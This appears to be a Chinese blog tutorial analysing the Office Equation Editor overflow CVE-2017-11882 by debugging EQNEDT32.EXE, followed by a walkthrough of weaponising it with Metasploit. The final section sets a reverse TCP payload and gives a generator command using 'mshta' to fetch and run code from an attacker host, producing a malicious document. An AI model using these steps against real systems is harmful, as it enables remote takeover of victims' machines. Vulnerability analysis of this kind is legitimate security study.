怎么进行CVE-2017-11882分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。
前言
其实说到office钓鱼,那就肯定少不了CVE-2017-11882,这个漏洞是我去年分析APT组织蔓灵花的样本的时候遇到的,自己也一直没有深入学习和研究这个漏洞,现在有点时间了来分析学习一下,因为此漏洞是很多知名APT组织像蔓灵花、白象、摩诃草、响尾蛇等发起攻击时的开山利器,并且研究此漏洞也不需要by pass DEP和ASLR等保护机制,漏洞利用起来也不算复杂.
漏洞介绍
CVE-2017-11882是微软公布的一个远程代码执行漏洞,漏洞是由模块EQNEDT32.EXE公式编辑器引起,该模块在Office的安装过程中被默认安装,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。漏洞产生原因是公式编辑器EQNEDT32.EXE(路径C:/Program Files/Common Files/microsoft shared/EQUATION)读入包含MathType的OLE数据,在拷贝公式字体名称时没有对名称长度进行校验,使得攻击者可以通过刻意构造的数据内容覆盖栈上的函数返回地址,造成栈缓冲区溢出,劫持程序执行流程,执行自己的恶意代码,又因为插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程的子进程创建,而是以单独的进程形式存在。所以Office进程的保护机制也无法保护EQNEDT32.EXE这个进程被利用。从漏洞利用效果来看,它可以通杀Office 2003到2016的所有版本。
漏洞分析环境及工具
-
Win7 x64
-
Office 2003
-
IDA
-
OllyDbg
-
MSF
漏洞分析
安装office
我使用的是 Office 2003(需要完全安装),我们完全安装后,可以通过下图查看是否都完全安装,菜单-》插入-》对象-》看是否有Microsoft 公式 3.0,如果没有说明安装的不是完整版。
office 2003完整版链接:https://pan.baidu.com/s/1O7BsRE4YQQLvWOWYikGz6Q 提取码:g0dh
查看漏洞文件
我们可以按照以下路径找到产生漏洞的程序,exeinfo信息显示该程序使用VC++编写。
POC验证漏洞
环境搭建好了,我们就可以使用POC来简单验证一下漏洞,打开exploit.rtf可发现没有任何提示直接弹出了计算器,说明验证成功存在漏洞。
弹计算器漏洞POC:https://github.com/Ridter/CVE-2017-11882
详细分析
因为我们打开POC时弹出了计算器,就表明创建了新的进程,创建新进程的API我们可以猜测是WinExec或者CreateProcess。这样我们就可以使用OD附加EQNEDT32.EXE,然后下API断点来进行动态调试。
我们先打开EQNEDT32.EXE然后使用OD附加上此进程。
然后我们下API断点,命令:BP WinExec,然后打开POC文件,程序成功断下,堆栈中显示的内容说明我们断的位置是正确的。
在上图中的堆栈中我们可以看出,WinExec的返回地址是00430C18,参数是0018F354,参数的内容是通过cmd命令来开启计算器。
此时的00430C12是用户态地址,按道理来说,ebp应该存放当前函数的返回地址,但是却显示的是41414141,很明显ebp已经被破坏了,由于此时的堆栈已经被构造的恶意shellcode破坏,所以我们往堆栈上面看看ebp是在哪里被破坏的。
找到了一个最近的返回地址00411837,我们回车进入往上翻,在函数的开头部分设置一个断点,重新运行,让程序断在这个函数内。
程序断下
我们F8单步运行,在00411658的地方发现这样一条指令:rep movsd dword ptr es:[edi], dword ptr [esi]该指令执行完之后,ebp就被41414141覆盖而该指令的功能是将esi的值传送到edi所指的位置。
我们分别查看一下在执行上一条命令之前esi和edi的内容:
ESI:
EDI:
rep movsd dword ptr es:[edi], dword ptr [esi]执行完之后,EDI被成功赋值,可以看到,此时ebp所在的值已经从0018F214变成了41414141,ebp后面的返回地址已经从004115d8更改为了00430c12
00430C12的地址
过来执行WinExec函数之后,在WinExec函数内部又调用了CreateProcess函数。打断点可看到函数的参数,也就是参数为调用cmd弹出计算器
我们通过动态调试已经知道了漏洞产生的位置是在00411658处,我们接下来使用静态分析。我们使用IDA打开EQNEDT32.EXE,然后跳转到00411658地址
为了方便分析我们F5查看以下伪代码,哦~,学过C语言的同学应该一看就明白了,就是我们使用了不安全版的strcpy函数,没有对参数的长度进行判断和限制,从而导致了栈溢出。
POC内容详情
至此,漏洞的大致分析已经完成。
使用MSF利用漏洞
python脚本下载链接:https://github.com/Ridter/CVE-2017-11882
msf组件下载:https://github.com/0x09AL/CVE-2017-11882-metasploit
把上面下载的cve_2017_11882.rb文件复制到/usr/share/metasploit-framework/modules/exploits/windows/smb/目录下
把下载的cve_2017_11882.rtf放到/usr/share/metasploit-framework/data/exploits/
重新加载模块。
使用命令search cve_2017_11882 查找对应的模块,然后use exploit/windows/smb/cve_2017_11882设置payload为反弹tcp,设置各项参数,lhost为kali的IP,使用命令set URIPATH test设置URI的路径(注意这里设置的路径test,下面使用python脚本生成doc的时候也要加上这个路径)
运行,exploit -j
另外打开一个终端,把Command109b_CVE-2017-11882.py复制到kai liunx桌面,cd到桌面,运行命令python Command109b_CVE-2017-11882.py -c "mshta http://192.168.62.129:8080/test" -o test2.doc 生成恶意doc文件
复制文件到目标机打开
返回攻击机kai liunx,看到被攻击机器已经上线
然后就可以进行我们的传统手艺了~~~
看完上述内容,你们掌握怎么进行CVE-2017-11882分析的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!
原创文章,作者:carmelaweatherly,如若转载,请注明出处:https://blog.ytso.com/220440.html